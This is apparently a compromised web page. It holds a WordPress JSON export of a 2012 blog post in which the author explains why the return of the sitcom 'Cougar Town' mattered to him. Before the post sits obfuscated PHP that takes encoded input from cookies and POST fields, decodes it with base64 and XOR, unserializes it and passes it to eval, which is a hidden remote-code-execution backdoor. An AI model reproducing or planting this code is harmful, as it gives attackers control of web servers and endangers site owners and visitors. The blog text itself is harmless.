$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1666,"date":"2012-02-15T07:47:51","date_gmt":"2012-02-15T12:47:51","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1666"},"modified":"2012-02-15T08:11:48","modified_gmt":"2012-02-15T13:11:48","slug":"why-the-return-of-cougar-town-mattered-to-me","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1666","title":{"rendered":"Why the Return of ‘Cougar Town’ Mattered to Me"},"content":{"rendered":"

If you follow me on Facebook or Twitter, you\u00a0undoubtedly\u00a0know I could not wait for the show Cougar Town<\/em> to return to ABC<\/a> last night. The long\u00a0wait had finally ended.<\/p>\n

I threw myself headlong into the social media promotion<\/a> headed by the show’s co-creator (and my non-sexual man crush) Bill Lawrence. I’m sure this bothered some of my followers, but I don’t really care. You do crazy things for things which inspire you.<\/p>\n

I take my television comedies very seriously. I consider the medium an art form which deserves as much respect and consideration as any other form of entertainment even if the stakes rise and fall on poop jokes occasionally.<\/p>\n

Cougar Town<\/em> provides\u00a0exactly\u00a0what I look for in a sitcom – a specific world with\u00a0relate-able\u00a0characters who make me care about their actions whether they are playing in front of a homemade green screen or making important life decisions. Lawrence and his co-creator Kevin Biegel have created a world I want to visit each week.<\/p>\n

The same goes for the other network comedies I watch regularly – New Girl, Raising Hope, The Middle, Modern Family, Happy Endings, 30 Rock, Parks and Recreation, Community <\/em>(pour one out for the homies of Greendale who are currently on the shelf)<\/em>\u00a0and The Office. <\/em>But the way the network treated Cougar Town<\/em>\u00a0combined with the way the creators and cast interact with the show’s fans gave it a special place in my heart.<\/p>\n

I left out\u00a0two shows – How I Met Your Mother<\/em>\u00a0and The Big Bang Theory. <\/em>While I love both of them, they are way too sitcom-y and either don’t hit an emotional note (Big Bang) <\/em>or cheapen the emotion by using deception to screw around with the viewer (HIMYM).<\/em> I continue to watch them, even in reruns, but don’t get the same feeling I get with a show like Cougar Town.<\/em><\/p>\n

The show has struggled with misconceptions about the premise, but continued to chug along because of die-hard fans. People like me get that way because Lawrence makes you feel like part of the action whether it’s through goofy videos<\/a> pitting the writers against the actors or by creating a toll-free phone line<\/a> where you can talk to the actors (I chatted briefly with Brian Van Holt and Ian Gomez).<\/p>\n

So when a group of people create a world which entertains people, then invites those people to take part in the world, you get folks who continually pester their friends to give the show a chance. My only regret in all this is that I could not attend one of the viewing parties thrown by Lawrence<\/a> – he actually paid for an open bar in somewhere close to a dozen locations so fans could get a peek at a few episodes before last night’s premiere. I had tickets to the one in Philly, but had too many conflicts to make the trip.<\/p>\n

Lawrence has said all this\u00a0guerrilla\u00a0promotion – which ABC had nothing to do with – will eventually turn into something all shows have to do as network affiliation and Nielsen ratings play a smaller role in the industry. I don’t know if we can all predict that, but I think we can all get behind outreach by television shows to the fans who enjoy them.<\/p>\n","protected":false},"excerpt":{"rendered":"